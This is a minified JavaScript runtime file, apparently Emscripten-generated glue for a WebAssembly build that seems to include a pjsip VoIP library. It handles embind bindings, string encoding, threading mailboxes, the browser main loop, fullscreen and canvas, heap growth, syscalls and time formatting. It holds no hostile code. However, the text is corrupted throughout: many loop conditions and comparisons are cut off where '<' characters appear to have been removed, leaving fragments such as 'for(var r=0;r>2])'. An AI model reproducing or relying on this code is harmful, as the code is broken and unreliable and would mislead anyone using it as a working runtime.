yr[e]={pointerType:f,constPointerType:g},to(p,i),[_,f,g]})}function so(e,t){for(var n=[],r=0;r>2]);return n}function uo(e){for(;e.length;){var t=e.pop(),n=e.pop();n(t)}}function co(e,t,n,r,o,a){var i=t.length;i<2&&er("argTypes array size mismatch! Must at least get return value and 'this' types!"),G(!a,"Async bindings are only supported with JSPI.");for(var l=t[1]!==null&&n!==null,s=!1,u=1;u0);var i=so(t,n);o=no(r,o),rr([],[e],function(e){e=e[0];var n="constructor "+e.name;if(e.registeredClass.constructor_body===void 0&&(e.registeredClass.constructor_body=[]),e.registeredClass.constructor_body[t-1]!==void 0)throw new Zn("Cannot register multiple constructors with identical number of parameters ("+(t-1)+") for class '"+e.name+"'! Overload resolution is currently only performed using the parameter count, not actual type info!");return e.registeredClass.constructor_body[t-1]=function(){io("Cannot construct "+e.name+" due to unbound types",i)},rr([],i,function(r){return r.splice(1,0,null),e.registeredClass.constructor_body[t-1]=co(n,r,null,o,a),[]}),[]})}function po(e,t,n,r,o,a,i,l,s){var u=so(n,r);t=Qn(t),a=no(o,a),rr([],[e],function(e){e=e[0];var r=e.name+"."+t;t.startsWith("@@")&&(t=Symbol[t.substring(2)]),l&&e.registeredClass.pureVirtualFunctions.push(t);function o(){io("Cannot call "+r+" due to unbound types",u)}var c=e.registeredClass.instancePrototype,d=c[t];return d===void 0||d.overloadTable===void 0&&d.className!==e.name&&d.argCount===n-2?(o.argCount=n-2,o.className=e.name,c[t]=o):(Ur(c,t,r),c[t].overloadTable[n-2]=o),rr([],u,function(o){var l=co(r,o,e,a,i,s);return c[t].overloadTable===void 0?(l.argCount=n-2,c[t]=l):c[t].overloadTable[n-2]=l,[]}),[]})}function _o(){Object.assign(fo.prototype,{get:function(t){return G(this.allocated[t]!==void 0,"invalid handle: "+t),this.allocated[t]},has:function(t){return this.allocated[t]!==void 0},allocate:function(t){var e=this.freelist.pop()||this.allocated.length;return this.allocated[e]=t,e},free:function(t){G(this.allocated[t]!==void 0),this.allocated[t]=void 0,this.freelist.push(t)}})}function fo(){this.allocated=[void 0],this.freelist=[]}var go=new fo;function ho(e){e>=go.reserved&&--go.get(e).refcount===0&&go.free(e)}function yo(){for(var e=0,t=go.reserved;t>>l}}var s=t.includes("unsigned"),u=function(n,a){if(typeof n!="number"&&typeof n!="boolean")throw new TypeError('Cannot convert "'+zn(n)+'" to '+a);if(no)throw new TypeError('Passing a number "'+zn(n)+'" from JS side to C/C++ side to an argument of type "'+t+'", which is outside the valid range ['+r+", "+o+"]!")},c;s?c=function(t,n){return u(n,this.name),n>>>0}:c=function(t,n){return u(n,this.name),n},ar(e,{name:t,fromWireType:i,toWireType:c,argPackAdvance:8,readValueFromPointer:ir(t,a,r!==0),destructorFunction:null,jsType:"number"})}function ko(e,t,n){var r=[Int8Array,Uint8Array,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array,BigInt64Array,BigUint64Array],o=r[t];function a(e){e=e>>2;var t=f(),n=t[e],r=t[e+1];return new o(t.buffer,r,n)}n=Qn(n),ar(e,{name:n,fromWireType:a,argPackAdvance:8,readValueFromPointer:a},{ignoreDuplicateRegistrations:!0})}var Io=function(t,n,r){return G(typeof r=="number","stringToUTF8(str, outPtr, maxBytesToWrite) is missing the third parameter that specifies the length of the output buffer!"),Tt(t,d(),n,r)};function To(e,t){t=Qn(t);var n=t==="std::string";ar(e,{name:t,fromWireType:function(t){var e=f()[t>>2],r=t+4,o;if(n)for(var a=r,i=0;i<=e;++i){var l=r+i;if(i==e||d()[l]==0){var s=l-a,u=jt(a,s);o===void 0?o=u:(o+="\0",o+=u),a=l+1}}else{for(var c=new Array(e),i=0;i>2]=e,n&&o)Io(r,i,e+1);else if(o)for(var l=0;l255&&(Pi(i),er("String has UTF-16 code units that do not fit in 8 bits")),d()[i+l]=s}else for(var l=0;l>1,o=r+n/2;!(r>=o)&&p()[r];)++r;if(e=r<<1,e-t>32&&Do)return Do.decode(d().slice(t,e));for(var a="",i=0;!(i>=n/2);++i){var l=m()[t+i*2>>1];if(l==0)break;a+=String.fromCharCode(l)}return a},$o=function(t,n,r){if(G(n%2==0,"Pointer passed to stringToUTF16 must be aligned to two bytes!"),G(typeof r=="number","stringToUTF16(str, outPtr, maxBytesToWrite) is missing the third parameter that specifies the length of the output buffer!"),r===void 0&&(r=2147483647),r<2)return 0;r-=2;for(var e=n,o=r>1]=i,n+=2}return m()[n>>1]=0,n-e},Po=function(t){return t.length*2},No=function(t,n){G(t%4==0,"Pointer passed to UTF32ToString must be aligned to four bytes!");for(var e=0,r="";!(e>=n/4);){var o=_()[t+e*4>>2];if(o==0)break;if(++e,o>=65536){var a=o-65536;r+=String.fromCharCode(55296|a>>10,56320|a&1023)}else r+=String.fromCharCode(o)}return r},Mo=function(t,n,r){if(G(n%4==0,"Pointer passed to stringToUTF32 must be aligned to four bytes!"),G(typeof r=="number","stringToUTF32(str, outPtr, maxBytesToWrite) is missing the third parameter that specifies the length of the output buffer!"),r===void 0&&(r=2147483647),r<4)return 0;for(var e=n,o=e+r-4,a=0;a=55296&&i<=57343){var l=t.charCodeAt(++a);i=65536+((i&1023)<<10)|l&1023}if(_()[n>>2]=i,n+=4,n+4>o)break}return _()[n>>2]=0,n-e},wo=function(t){for(var e=0,n=0;n=55296&&r<=57343&&++n,e+=4}return e},Ao=function(t,n,r){r=Qn(r);var e,o,a,i,l;n===2?(e=xo,o=$o,i=Po,a=function(){return p()},l=1):n===4&&(e=No,o=Mo,i=wo,a=function(){return f()},l=2),ar(t,{name:r,fromWireType:function(r){for(var t=f()[r>>2],o=a(),i,s=r+4,u=0;u<=t;++u){var c=r+4+u*n;if(u==t||o[c>>l]==0){var d=c-s,m=e(s,d);i===void 0?i=m:(i+="\0",i+=m),s=c+n}}return Pi(r),i},toWireType:function(t,a){typeof a!="string"&&er("Cannot pass non-string to C++ string type "+r);var e=i(a),s=Ni(4+e+n);return f()[s>>2]=e>>l,o(a,s+4,e+n),t!==null&&t.push(Pi,s),s},argPackAdvance:8,readValueFromPointer:Qr,destructorFunction:function(t){Pi(t)}})};function Fo(e,t){t=Qn(t),ar(e,{isVoid:!0,name:t,argPackAdvance:0,fromWireType:function(){},toWireType:function(t,n){},jsType:"void"})}var Oo=!0,Bo=function(){return Oo},Wo=function(){if(!me())try{D?Yi(H):Yt(H)}catch(e){Zt(e)}},qo=function(t){if(V){F("user callback triggered after runtime exited or application aborted. Ignoring.");return}try{t(),Wo()}catch(e){Zt(e)}};function Uo(e){if(typeof Atomics.waitAsync=="function"){var t=Atomics.waitAsync(_(),e>>2,e);G(t.async),t.value.then(Vo);var n=e+128;Atomics.store(_(),n>>2,1)}}y.__emscripten_thread_mailbox_await=Uo;var Vo=function(){var e=Mi();e&&(Uo(e),qo(function(){return Ji()}))};y.checkMailbox=Vo;var Ho=function(t,n,r){if(t==n)setTimeout(function(){return Vo()});else if(D)postMessage({targetThread:t,cmd:"checkMailbox",type:"cmd"});else{var e=en.pthreads[t];if(!e){F("Cannot send message to thread with ID "+t+", unknown thread ID!");return}e.postMessage({cmd:"checkMailbox",type:"cmd"})}};function Go(e,t,n){return F("emscripten_set_offscreencanvas_size: Build with -sOFFSCREENCANVAS_SUPPORT=1 to enable transferring canvases to pthreads."),-1}function zo(e){}var jo=function(){throw new Pe};function Ko(e){e>4&&(go.get(e).refcount+=1)}function Qo(e,t){var n=Yn[e];return n===void 0&&er(t+" has unknown type "+ao(e)),n}function Xo(e,t){e=Qo(e,"_emval_take_value");var n=e.readValueFromPointer(t);return bo.toHandle(n)}var Yo=function(t){return t%4===0&&(t%100!==0||t%400===0)},Jo=[0,31,60,91,121,152,182,213,244,274,305,335],Zo=[0,31,59,90,120,151,181,212,243,273,304,334],ea=function(t){var e=Yo(t.getFullYear()),n=e?Jo:Zo,r=n[t.getMonth()]+t.getDate()-1;return r},ta=9007199254740992,na=-9007199254740992;function ra(e){return eta?NaN:Number(e)}function oa(e,t){e=ra(e),t=ra(t);var n=new Date(e*1e3);_()[t>>2]=n.getSeconds(),_()[t+4>>2]=n.getMinutes(),_()[t+8>>2]=n.getHours(),_()[t+12>>2]=n.getDate(),_()[t+16>>2]=n.getMonth(),_()[t+20>>2]=n.getFullYear()-1900,_()[t+24>>2]=n.getDay();var r=ea(n)|0;_()[t+28>>2]=r,_()[t+36>>2]=-(n.getTimezoneOffset()*60);var o=new Date(n.getFullYear(),0,1),a=new Date(n.getFullYear(),6,1).getTimezoneOffset(),i=o.getTimezoneOffset(),l=(a!=i&&n.getTimezoneOffset()==Math.min(i,a))|0;_()[t+32>>2]=l}function aa(e,t,n,r,o,a,i){if(D)return Ea(13,1,e,t,n,r,o,a,i);e=ra(e),o=ra(o),a=ra(a),i=ra(i);try{if(isNaN(o))return 61;var l=Kt.getStreamFromFD(r),s=zt.mmap(l,e,o,t,n),u=s.ptr;return _()[a>>2]=s.allocated,f()[i>>2]=u,0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function ia(e,t,n,r,o,a){if(D)return Ea(14,1,e,t,n,r,o,a);e=ra(e),t=ra(t),a=ra(a);try{if(isNaN(a))return 61;var i=Kt.getStreamFromFD(o);n&2&&Kt.doMsync(e,i,t,r,a),zt.munmap(i)}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}var la=function(t){var e=It(t)+1,n=Ni(e);return n&&Io(t,n,e),n},sa=function(t,n,r){var e=new Date().getFullYear(),o=new Date(e,0,1),a=new Date(e,6,1),i=o.getTimezoneOffset(),l=a.getTimezoneOffset(),s=Math.max(i,l);f()[t>>2]=s*60,_()[n>>2]=+(i!=l);function u(e){var t=e.toTimeString().match(/\(([A-Za-z ]+)\)$/);return t?t[1]:"GMT"}var c=u(o),d=u(a),m=la(c),p=la(d);l>2]=m,f()[r+4>>2]=p):(f()[r>>2]=p,f()[r+4>>2]=m)},ua=function(){ke("native code called abort()")},ca=function(){de+=1},da=function(){G(de>0),de-=1},ma=function(t,n){return ca(),setTimeout(function(){da(),qo(t)},n)};function pa(e,t){if(ga.mainLoop.timingMode=e,ga.mainLoop.timingValue=t,!ga.mainLoop.func)return F("emscripten_set_main_loop_timing: Cannot set timing mode for main loop since a main loop does not exist! Call emscripten_set_main_loop first to set one up."),1;if(ga.mainLoop.running||(ca(),ga.mainLoop.running=!0),e==0)ga.mainLoop.scheduler=function(){var e=Math.max(0,ga.mainLoop.tickStartTime+t-_a())|0;setTimeout(ga.mainLoop.runner,e)},ga.mainLoop.method="timeout";else if(e==1)ga.mainLoop.scheduler=function(){ga.requestAnimationFrame(ga.mainLoop.runner)},ga.mainLoop.method="rAF";else if(e==2){if(typeof setImmediate=="undefined"){var n=[],r="setimmediate",o=function(t){(t.data===r||t.data.target===r)&&(t.stopPropagation(),n.shift()())};addEventListener("message",o,!0),setImmediate=function(t){n.push(t),k?(y.setImmediates===void 0&&(y.setImmediates=[]),y.setImmediates.push(t),postMessage({target:r,type:"cmd"})):postMessage(babelHelpers.extends({},r,{type:"cmd"}),"*")}}ga.mainLoop.scheduler=function(){setImmediate(ga.mainLoop.runner)},ga.mainLoop.method="immediate"}return 0}var _a;_a=function(){return performance.timeOrigin+performance.now()};function fa(e,t,n,r,o){G(!ga.mainLoop.func,"emscripten_set_main_loop: there can only be one main loop function at once: call emscripten_cancel_main_loop to cancel the previous one before setting a new one with different parameters."),ga.mainLoop.func=e,ga.mainLoop.arg=r;var a=ga.mainLoop.currentlyRunningMainloop;function i(){return a0){var t=Date.now(),n=ga.mainLoop.queue.shift();if(n.func(n.arg),ga.mainLoop.remainingBlockers){var r=ga.mainLoop.remainingBlockers,o=r%1==0?r-1:Math.floor(r);n.counted?ga.mainLoop.remainingBlockers=o:(o=o+.5,ga.mainLoop.remainingBlockers=(8*r+o)/9)}if(A('main loop blocker "'+n.name+'" took '+(Date.now()-t)+" ms"),ga.mainLoop.updateStatus(),!i())return;setTimeout(ga.mainLoop.runner,0);return}if(i()){if(ga.mainLoop.currentFrameNumber=ga.mainLoop.currentFrameNumber+1|0,ga.mainLoop.timingMode==1&&ga.mainLoop.timingValue>1&&ga.mainLoop.currentFrameNumber%ga.mainLoop.timingValue!=0){ga.mainLoop.scheduler();return}else ga.mainLoop.timingMode==0&&(ga.mainLoop.tickStartTime=_a());ga.mainLoop.method==="timeout"&&y.ctx&&(dn("Looks like you are rendering without using requestAnimationFrame for the main loop. You should use 0 for the frame rate in emscripten_set_main_loop in order to use requestAnimationFrame, as that can greatly improve your frame rates!"),ga.mainLoop.method=""),ga.mainLoop.runIter(e),ie(),i()&&(typeof SDL=="object"&&SDL.audio&&SDL.audio.queueNewAudioData&&SDL.audio.queueNewAudioData(),ga.mainLoop.scheduler())}}},o||(t&&t>0?pa(0,1e3/t):pa(1,1),ga.mainLoop.scheduler()),n)throw"unwind"}var ga={mainLoop:{running:!1,scheduler:null,method:"",currentlyRunningMainloop:0,func:null,arg:0,timingMode:0,timingValue:0,currentFrameNumber:0,queue:[],pause:function(){ga.mainLoop.scheduler=null,ga.mainLoop.currentlyRunningMainloop++},resume:function(){ga.mainLoop.currentlyRunningMainloop++;var e=ga.mainLoop.timingMode,t=ga.mainLoop.timingValue,n=ga.mainLoop.func;ga.mainLoop.func=null,fa(n,0,!1,ga.mainLoop.arg,!0),pa(e,t),ga.mainLoop.scheduler()},updateStatus:function(){if(y.setStatus){var e=y.statusMessage||"Please wait...",t=ga.mainLoop.remainingBlockers,n=ga.mainLoop.expectedBlockers;t?t=6;){var l=o>>a-6&63;a-=6,r+=t[l]}return a==2?(r+=t[(o&3)<<4],r+=n+n):a==4&&(r+=t[(o&15)<<2],r+=n),r}s.src="data:audio/x-"+n.substr(-3)+";base64,"+r(t),a(s)},s.src=l,ma(function(){a(s)},1e4)},At.push(t);function n(){ga.pointerLock=document.pointerLockElement===y.canvas||document.mozPointerLockElement===y.canvas||document.webkitPointerLockElement===y.canvas||document.msPointerLockElement===y.canvas}var r=y.canvas;r&&(r.requestPointerLock=r.requestPointerLock||r.mozRequestPointerLock||r.webkitRequestPointerLock||r.msRequestPointerLock||function(){},r.exitPointerLock=document.exitPointerLock||document.mozExitPointerLock||document.webkitExitPointerLock||document.msExitPointerLock||function(){},r.exitPointerLock=r.exitPointerLock.bind(document),document.addEventListener("pointerlockchange",n,!1),document.addEventListener("mozpointerlockchange",n,!1),document.addEventListener("webkitpointerlockchange",n,!1),document.addEventListener("mspointerlockchange",n,!1),y.elementPointerLock&&r.addEventListener("click",function(e){!ga.pointerLock&&y.canvas.requestPointerLock&&(y.canvas.requestPointerLock(),e.preventDefault())},!1))},createContext:function(t,n,r,o){if(n&&y.ctx&&t==y.canvas)return y.ctx;var e,a;if(n){var i={antialias:!1,alpha:!1,majorVersion:1};if(o)for(var l in o)i[l]=o[l];typeof GL!="undefined"&&(a=GL.createContext(t,i),a&&(e=GL.getContext(a).GLctx))}else e=t.getContext("2d");return e?(r&&(n||G(typeof GLctx=="undefined","cannot set in module if GLctx is used, but we are a non-GL context that would replace it"),y.ctx=e,n&&GL.makeContextCurrent(a),y.useWebGL=n,ga.moduleContextCreatedCallbacks.forEach(function(e){return e()}),ga.init()),e):null},destroyContext:function(t,n,r){},fullscreenHandlersInstalled:!1,lockPointer:void 0,resizeCanvas:void 0,requestFullscreen:function(t,n){ga.lockPointer=t,ga.resizeCanvas=n,typeof ga.lockPointer=="undefined"&&(ga.lockPointer=!0),typeof ga.resizeCanvas=="undefined"&&(ga.resizeCanvas=!1);var e=y.canvas;function r(){ga.isFullscreen=!1;var t=e.parentNode;(document.fullscreenElement||document.mozFullScreenElement||document.msFullscreenElement||document.webkitFullscreenElement||document.webkitCurrentFullScreenElement)===t?(e.exitFullscreen=ga.exitFullscreen,ga.lockPointer&&e.requestPointerLock(),ga.isFullscreen=!0,ga.resizeCanvas?ga.setFullscreenCanvasSize():ga.updateCanvasDimensions(e)):(t.parentNode.insertBefore(e,t),t.parentNode.removeChild(t),ga.resizeCanvas?ga.setWindowedCanvasSize():ga.updateCanvasDimensions(e)),y.onFullScreen&&y.onFullScreen(ga.isFullscreen),y.onFullscreen&&y.onFullscreen(ga.isFullscreen)}ga.fullscreenHandlersInstalled||(ga.fullscreenHandlersInstalled=!0,document.addEventListener("fullscreenchange",r,!1),document.addEventListener("mozfullscreenchange",r,!1),document.addEventListener("webkitfullscreenchange",r,!1),document.addEventListener("MSFullscreenChange",r,!1));var o=document.createElement("div");e.parentNode.insertBefore(o,e),o.appendChild(e),o.requestFullscreen=o.requestFullscreen||o.mozRequestFullScreen||o.msRequestFullscreen||(o.webkitRequestFullscreen?function(){return o.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)}:null)||(o.webkitRequestFullScreen?function(){return o.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT)}:null),o.requestFullscreen()},requestFullScreen:function(){ke("Module.requestFullScreen has been replaced by Module.requestFullscreen (without a capital S)")},exitFullscreen:function(){if(!ga.isFullscreen)return!1;var e=document.exitFullscreen||document.cancelFullScreen||document.mozCancelFullScreen||document.msExitFullscreen||document.webkitCancelFullScreen||function(){};return e.apply(document,[]),!0},nextRAF:0,fakeRequestAnimationFrame:function(t){var e=Date.now();if(ga.nextRAF===0)ga.nextRAF=e+1e3/60;else for(;e+2>=ga.nextRAF;)ga.nextRAF+=1e3/60;var n=Math.max(ga.nextRAF-e,0);setTimeout(t,n)},requestAnimationFrame:(function(e){function t(t){return e.apply(this,arguments)}return t.toString=function(){return e.toString()},t})(function(e){if(typeof requestAnimationFrame=="function"){requestAnimationFrame(e);return}var t=ga.fakeRequestAnimationFrame;t(e)}),safeSetTimeout:function(t,n){return ma(t,n)},safeRequestAnimationFrame:function(t){return ca(),ga.requestAnimationFrame(function(){da(),qo(t)})},getMimetype:function(t){return{jpg:"image/jpeg",jpeg:"image/jpeg",png:"image/png",bmp:"image/bmp",ogg:"audio/ogg",wav:"audio/wav",mp3:"audio/mpeg"}[t.substr(t.lastIndexOf(".")+1)]},getUserMedia:function(t){window.getUserMedia||(window.getUserMedia=navigator.getUserMedia||navigator.mozGetUserMedia),window.getUserMedia(t)},getMovementX:function(t){return t.movementX||t.mozMovementX||t.webkitMovementX||0},getMovementY:function(t){return t.movementY||t.mozMovementY||t.webkitMovementY||0},getMouseWheelDelta:function(t){var e=0;switch(t.type){case"DOMMouseScroll":e=t.detail/3;break;case"mousewheel":e=t.wheelDelta/120;break;case"wheel":switch(e=t.deltaY,t.deltaMode){case 0:e/=100;break;case 1:e/=3;break;case 2:e*=80;break;default:throw"unrecognized mouse wheel delta mode: "+t.deltaMode}break;default:throw"unrecognized mouse wheel event: "+t.type}return e},mouseX:0,mouseY:0,mouseMovementX:0,mouseMovementY:0,touches:{},lastTouches:{},calculateMouseEvent:function(t){if(ga.pointerLock)t.type!="mousemove"&&"mozMovementX"in t?ga.mouseMovementX=ga.mouseMovementY=0:(ga.mouseMovementX=ga.getMovementX(t),ga.mouseMovementY=ga.getMovementY(t)),typeof SDL!="undefined"?(ga.mouseX=SDL.mouseX+ga.mouseMovementX,ga.mouseY=SDL.mouseY+ga.mouseMovementY):(ga.mouseX+=ga.mouseMovementX,ga.mouseY+=ga.mouseMovementY);else{var e=y.canvas.getBoundingClientRect(),n=y.canvas.width,r=y.canvas.height,o=typeof window.scrollX!="undefined"?window.scrollX:window.pageXOffset,a=typeof window.scrollY!="undefined"?window.scrollY:window.pageYOffset;if(G(typeof o!="undefined"&&typeof a!="undefined","Unable to retrieve scroll position, mouse positions likely broken."),t.type==="touchstart"||t.type==="touchend"||t.type==="touchmove"){var i=t.touch;if(i===void 0)return;var l=i.pageX-(o+e.left),s=i.pageY-(a+e.top);l=l*(n/e.width),s=s*(r/e.height);var u={x:l,y:s};if(t.type==="touchstart")ga.lastTouches[i.identifier]=u,ga.touches[i.identifier]=u;else if(t.type==="touchend"||t.type==="touchmove"){var c=ga.touches[i.identifier];c||(c=u),ga.lastTouches[i.identifier]=c,ga.touches[i.identifier]=u}return}var d=t.pageX-(o+e.left),m=t.pageY-(a+e.top);d=d*(n/e.width),m=m*(r/e.height),ga.mouseMovementX=d-ga.mouseX,ga.mouseMovementY=m-ga.mouseY,ga.mouseX=d,ga.mouseY=m}},resizeListeners:[],updateResizeListeners:function(){var e=y.canvas;ga.resizeListeners.forEach(function(t){return t(e.width,e.height)})},setCanvasSize:function(t,n,r){var e=y.canvas;ga.updateCanvasDimensions(e,t,n),r||ga.updateResizeListeners()},windowedWidth:0,windowedHeight:0,setFullscreenCanvasSize:function(){if(typeof SDL!="undefined"){var e=f()[SDL.screen>>2];e=e|8388608,_()[SDL.screen>>2]=e}ga.updateCanvasDimensions(y.canvas),ga.updateResizeListeners()},setWindowedCanvasSize:function(){if(typeof SDL!="undefined"){var e=f()[SDL.screen>>2];e=e&-8388609,_()[SDL.screen>>2]=e}ga.updateCanvasDimensions(y.canvas),ga.updateResizeListeners()},updateCanvasDimensions:function(t,n,r){n&&r?(t.widthNative=n,t.heightNative=r):(n=t.widthNative,r=t.heightNative);var e=n,o=r;if(y.forcedAspectRatio&&y.forcedAspectRatio>0&&(e/o=0?ma(r,n):ga.safeRequestAnimationFrame(r)}function ya(){k||dn("Blocking on the main thread is very dangerous, see https://emscripten.org/docs/porting/pthreads.html#blocking-on-the-main-browser-thread")}var Ca=function(t){G(typeof t=="number"),jt(t)};function ba(){return Date.now()}var va=function(){throw ca(),"unwind"},Sa=function(){return 2147483648},Ra=function(){return Sa()};function La(){return navigator.hardwareConcurrency}function Ea(e,t){var n=arguments.length-2,r=arguments,o=19;if(n>o)throw"proxyToMainThread: Too many arguments "+n+" to proxied function idx="+e+", maximum supported is "+o;return on(function(){for(var o=n*2,a=il(o*8),i=a>>3,l=0;l>3,a=0;a>>16;try{return W.grow(n),ne(),1}catch(n){F("growMemory: Attempted to grow heap from "+e.byteLength+" bytes to "+t+" bytes, but got error: "+n)}},Da=function(t){var e=d().length;if(t>>>=0,t<=e)return!1;var n=Sa();if(t>n)return F("Cannot enlarge memory, asked to go up to "+t+" bytes, but the limit is "+n+" bytes!"),!1;for(var r=function(t,n){return t+(n-t%n)%n},o=1;o<=4;o*=2){var a=e*(1+.2/o);a=Math.min(a,t+100663296);var i=Math.min(n,r(Math.max(t,a),65536)),l=Ta(i);if(l)return!0}return F("Failed to grow the heap from "+e+" bytes to "+i+" bytes, not enough memory!"),!1},xa=da,$a=ca,Pa={},Na=function(){return R||"./this.program"},Ma=function(){if(!Ma.strings){var e=(typeof navigator=="object"&&navigator.languages&&navigator.languages[0]||"C").replace("-","_")+".UTF-8",t={USER:"web_user",LOGNAME:"web_user",PATH:"/",PWD:"/",HOME:"/home/web_user",LANG:e,_:Na()};for(var n in Pa)Pa[n]===void 0?delete t[n]:t[n]=Pa[n];var r=[];for(var n in t)r.push(n+"="+t[n]);Ma.strings=r}return Ma.strings},wa=function(t,n){for(var e=0;e>0]=t.charCodeAt(e);l()[n>>0]=0};function Aa(e,t){if(D)return Ea(15,1,e,t);var n=0;return Ma().forEach(function(r,o){var a=t+n;f()[e+o*4>>2]=a,wa(r,a),n+=r.length+1}),0}function Fa(e,t){if(D)return Ea(16,1,e,t);var n=Ma();f()[e>>2]=n.length;var r=0;return n.forEach(function(e){r+=e.length+1}),f()[t>>2]=r,0}function Oa(e){if(D)return Ea(17,1,e);try{var t=Kt.getStreamFromFD(e);return zt.close(t),0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return e.errno}}var Ba=function(t,n,r,o){for(var e=0,a=0;a>2],s=f()[n+4>>2];n+=8;var u=zt.read(t,l(),i,s,o);if(u<0)return-1;if(e+=u,u>2]=a,0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return e.errno}}function qa(e,t,n,r){if(D)return Ea(19,1,e,t,n,r);t=ra(t),r=ra(r);try{if(isNaN(t))return 61;var o=Kt.getStreamFromFD(e);return zt.llseek(o,t,n),Z[r>>3]=BigInt(o.position),o.getdents&&t===0&&n===0&&(o.getdents=null),0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return e.errno}}var Ua=function(t,n,r,o){for(var e=0,a=0;a>2],s=f()[n+4>>2];n+=8;var u=zt.write(t,l(),i,s,o);if(u<0)return-1;e+=u,typeof o!="undefined"&&(o+=u)}return e};function Va(e,t,n,r){if(D)return Ea(20,1,e,t,n,r);try{var o=Kt.getStreamFromFD(e),a=Ua(o,t,n);return f()[r>>2]=a,0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return e.errno}}var Ha=function(t){for(var e=t.split("."),n=0;n<4;n++){var r=Number(e[n]);if(isNaN(r))return null;e[n]=r}return(e[0]|e[1]<<8|e[2]<<16|e[3]<<24)>>>0},Ga=function(t){return parseInt(t)},za=function(t){var e,n,r,o,a=/^((?=.*::)(?!.*::.+::)(::)?([\dA-F]{1,4}:(:|\b)|){5}|([\dA-F]{1,4}:){6})((([\dA-F]{1,4}((?!\3)::|:\b|$))|(?!\2\3)){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i,i=[];if(!a.test(t))return null;if(t==="::")return[0,0,0,0,0,0,0,0];for(t.startsWith("::")?t=t.replace("::","Z:"):t=t.replace("::",":Z:"),t.indexOf(".")>0?(t=t.replace(new RegExp("[.]","g"),":"),e=t.split(":"),e[e.length-4]=Ga(e[e.length-4])+Ga(e[e.length-3])*256,e[e.length-3]=Ga(e[e.length-2])+Ga(e[e.length-1])*256,e=e.slice(0,e.length-2)):e=t.split(":"),r=0,o=0,n=0;n>2]=n;var r=Ni(4);f()[r>>2]=0,f()[e+4>>2]=r;var o=2;_()[e+8>>2]=o,_()[e+12>>2]=4;var a=Ni(12);return f()[a>>2]=a+8,f()[a+4>>2]=0,_()[a+8>>2]=Ha(ja.lookup_name(t)),f()[e+16>>2]=a,e};function Qa(e){return D?Ea(21,1,e):Ka(jt(e))}function Xa(e){return e}function Ya(){F("missing function: pj_sock_accept"),ke(-1)}function Ja(){F("missing function: pj_sock_connect"),ke(-1)}var Za=function(t,n){for(var e=0,r=0;r<=n;e+=t[r++]);return e},ei=[31,29,31,30,31,30,31,31,30,31,30,31],ti=[31,28,31,30,31,30,31,31,30,31,30,31],ni=function(t,n){for(var e=new Date(t.getTime());n>0;){var r=Yo(e.getFullYear()),o=e.getMonth(),a=(r?ei:ti)[o];if(n>a-e.getDate())n-=a-e.getDate()+1,e.setDate(1),o<11?e.setMonth(o+1):(e.setMonth(0),e.setFullYear(e.getFullYear()+1));else return e.setDate(e.getDate()+n),e}return e},ri=function(t,n){G(t.length>=0,"writeArrayToMemory array must have a length (should be an array or typed array)"),l().set(t,n)},oi=function(t,n,r,o){var e=_()[o+40>>2],a={tm_sec:_()[o>>2],tm_min:_()[o+4>>2],tm_hour:_()[o+8>>2],tm_mday:_()[o+12>>2],tm_mon:_()[o+16>>2],tm_year:_()[o+20>>2],tm_wday:_()[o+24>>2],tm_yday:_()[o+28>>2],tm_isdst:_()[o+32>>2],tm_gmtoff:_()[o+36>>2],tm_zone:e?jt(e):""},i=jt(r),l={"%c":"%a %b %d %H:%M:%S %Y","%D":"%m/%d/%y","%F":"%Y-%m-%d","%h":"%b","%r":"%I:%M:%S %p","%R":"%H:%M","%T":"%H:%M:%S","%x":"%m/%d/%y","%X":"%H:%M:%S","%Ec":"%c","%EC":"%C","%Ex":"%m/%d/%y","%EX":"%H:%M:%S","%Ey":"%y","%EY":"%Y","%Od":"%d","%Oe":"%e","%OH":"%H","%OI":"%I","%Om":"%m","%OM":"%M","%OS":"%S","%Ou":"%u","%OU":"%U","%OV":"%V","%Ow":"%w","%OW":"%W","%Oy":"%y"};for(var s in l)i=i.replace(new RegExp(s,"g"),l[s]);var u=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],c=["January","February","March","April","May","June","July","August","September","October","November","December"];function d(e,t,n){for(var r=typeof e=="number"?e.toString():e||"";r.length0?1:0}var r;return(r=n(e.getFullYear()-t.getFullYear()))===0&&(r=n(e.getMonth()-t.getMonth()))===0&&(r=n(e.getDate()-t.getDate())),r}function f(e){switch(e.getDay()){case 0:return new Date(e.getFullYear()-1,11,29);case 1:return e;case 2:return new Date(e.getFullYear(),0,3);case 3:return new Date(e.getFullYear(),0,2);case 4:return new Date(e.getFullYear(),0,1);case 5:return new Date(e.getFullYear()-1,11,31);case 6:return new Date(e.getFullYear()-1,11,30)}}function g(e){var t=ni(new Date(e.tm_year+1900,0,1),e.tm_yday),n=new Date(t.getFullYear(),0,4),r=new Date(t.getFullYear()+1,0,4),o=f(n),a=f(r);return p(o,t)<=0?p(a,t)<=0?t.getFullYear()+1:t.getFullYear():t.getFullYear()-1}var h={"%a":function(t){return u[t.tm_wday].substring(0,3)},"%A":function(t){return u[t.tm_wday]},"%b":function(t){return c[t.tm_mon].substring(0,3)},"%B":function(t){return c[t.tm_mon]},"%C":function(t){var e=t.tm_year+1900;return m(e/100|0,2)},"%d":function(t){return m(t.tm_mday,2)},"%e":function(t){return d(t.tm_mday,2," ")},"%g":function(t){return g(t).toString().substring(2)},"%G":function(t){return g(t)},"%H":function(t){return m(t.tm_hour,2)},"%I":function(t){var e=t.tm_hour;return e==0?e=12:e>12&&(e-=12),m(e,2)},"%j":function(t){return m(t.tm_mday+Za(Yo(t.tm_year+1900)?ei:ti,t.tm_mon-1),3)},"%m":function(t){return m(t.tm_mon+1,2)},"%M":function(t){return m(t.tm_min,2)},"%n":function(){return"\n"},"%p":function(t){return t.tm_hour>=0&&t.tm_hour<12?"AM":"PM"},"%S":function(t){return m(t.tm_sec,2)},"%t":function(){return" "},"%u":function(t){return 